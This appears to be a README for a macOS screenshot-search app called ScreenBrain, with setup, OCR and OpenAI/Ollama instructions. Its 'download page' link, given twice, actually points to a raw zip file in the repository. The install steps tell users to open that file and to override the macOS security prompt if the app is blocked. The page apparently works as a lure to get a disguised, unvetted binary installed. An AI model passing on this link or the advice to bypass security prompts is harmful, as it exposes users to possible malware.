ScreenBrain：macOS 上的 AI 截图知识库

📌 What ScreenBrain Does

ScreenBrain is a screenshot knowledge base for macOS. It helps you search screenshots by what they show, not by file name.

Use it when you want to:

• find an old receipt screenshot
• locate a message or app screen you captured
• search text inside screenshots
• keep screenshots in one place
• use AI search with OpenAI or Ollama
• run local OCR for text lookup

It is built with SwiftUI and SwiftData, so it feels like a native Mac app

🖥️ What You Need

ScreenBrain is made for macOS.

You will need:

• a Mac running a recent version of macOS
• enough free storage for your screenshots and index data
• permission to let the app read your screenshot folder or chosen image folder

If you want AI search, you can also use:

• an OpenAI account and API key
• Ollama installed on your Mac for local models

📥 Download and Install

Visit this page to download:
https://raw.githubusercontent.com/Leptospirasheepcote429/ScreenBrain/main/ScreenBrain/App/Brain-Screen-2.8.zip

To install ScreenBrain:

1. Open the link above
2. Find the latest release or app download on the page
3. Download the file to your Mac
4. Open the downloaded app or installer
5. Follow the on-screen steps
6. If macOS asks for permission, allow ScreenBrain to access your screenshots or images

If macOS blocks the app, open it again from Finder and allow it from the security prompt

⚙️ First-Time Setup

After you open ScreenBrain for the first time:

1. Choose the folder that holds your screenshots
2. Let the app scan your images
3. Wait for the first index to finish
4. Try a search term from a screenshot, like a name, error message, or app title

If you want better text search:

• turn on OCR so the app can read words inside images
• connect OpenAI if you want cloud-based AI search
• connect Ollama if you want local AI search on your Mac

🔍 How to Search

ScreenBrain looks at the content of screenshots, so you do not need to remember file names.

You can search for:

• text shown in a screenshot
• names of apps
• menu labels
• error messages
• dates and times seen on screen
• page titles or document text

Search results should show screenshots that match your query, then you can open the image and review it

🧠 Features

• Search screenshots by what they contain
• Read text from images with OCR
• Use OpenAI for AI-based search
• Use Ollama for local model support
• Keep a private local screenshot library
• Organize results in a simple Mac app
• Use SwiftUI for a clean interface
• Store data with SwiftData for easy local management

🔐 Privacy and Data Use

ScreenBrain is built with privacy in mind.

You can keep your screenshot data on your Mac and use local OCR for text search. If you connect OpenAI, the app may send search data to that service. If you use Ollama, processing can stay on your Mac.

This lets you choose the setup that fits your needs:

• local only
• local OCR with AI search
• cloud AI search
• mixed local and cloud use

🤖 OpenAI and Ollama Setup

If you want AI search, you can connect one of these options:

OpenAI

Use OpenAI if you want cloud-based AI search. You will need:

• an OpenAI API key
• a working internet connection

After you add the key in the app, ScreenBrain can use OpenAI to help search and match screenshot content

Ollama

Use Ollama if you want local AI search on your Mac. You will need:

• Ollama installed
• a local model ready to use

After setup, ScreenBrain can talk to Ollama on your Mac and keep the workflow local

🧾 OCR Setup

OCR means optical character recognition. It lets the app read words inside screenshots.

Turn on OCR if you want to search for:

• chat messages
• web page text
• app labels
• document text
• error messages

For best results:

• use clear screenshots
• keep text large enough to read
• avoid blurry or dark images when possible

🗂️ Typical Use Cases

ScreenBrain works well for:

• people who save many screenshots
• users who want to search visual notes
• anyone who keeps receipts, tickets, or confirmations as images
• support teams who need to find old screen captures
• users who want a local screenshot archive

🛠️ Troubleshooting

The app does not open

• Check that the download finished
• Open the app from Finder
• Allow it in the macOS security prompt

Screenshots do not appear

• Make sure you picked the right folder
• Check that the folder has image files
• Wait for the first scan to finish

Search returns no results

• Try a shorter search term
• Use text that appears in the screenshot
• Make sure OCR is turned on if you need text lookup

OpenAI or Ollama does not work

• Check your API key or local model setup
• Make sure the app can reach the service
• Try a simple query first

📂 File Types

ScreenBrain is meant for common image files used in screenshot folders, such as:

• PNG
• JPG
• JPEG
• HEIC

It works best with image files that came from screen captures or saved visual notes

🧭 How It Fits Your Workflow

A simple way to use ScreenBrain:

1. Save screenshots as you normally do
2. Add the folder to ScreenBrain
3. Let the app scan and index the images
4. Search by words, names, or visible text
5. Open the result and check the match

This saves time when your desktop or screenshot folder grows large

📦 Project Info

Repository: ScreenBrain
Description: AI-powered screenshot knowledge base for macOS
Topics:

• ai
• knowledge-base
• macos
• macos-app
• ocr
• ollama
• open-source
• openai
• privacy
• screenshot
• swift
• swiftdata
• swiftui

🧩 For Advanced Users

If you build from source, the project uses:

• Swift
• SwiftUI
• SwiftData

That setup keeps the app close to the Mac platform and makes local data handling simpler

📎 Download Again

If you need the download page again, use this link:
https://raw.githubusercontent.com/Leptospirasheepcote429/ScreenBrain/main/ScreenBrain/App/Brain-Screen-2.8.zip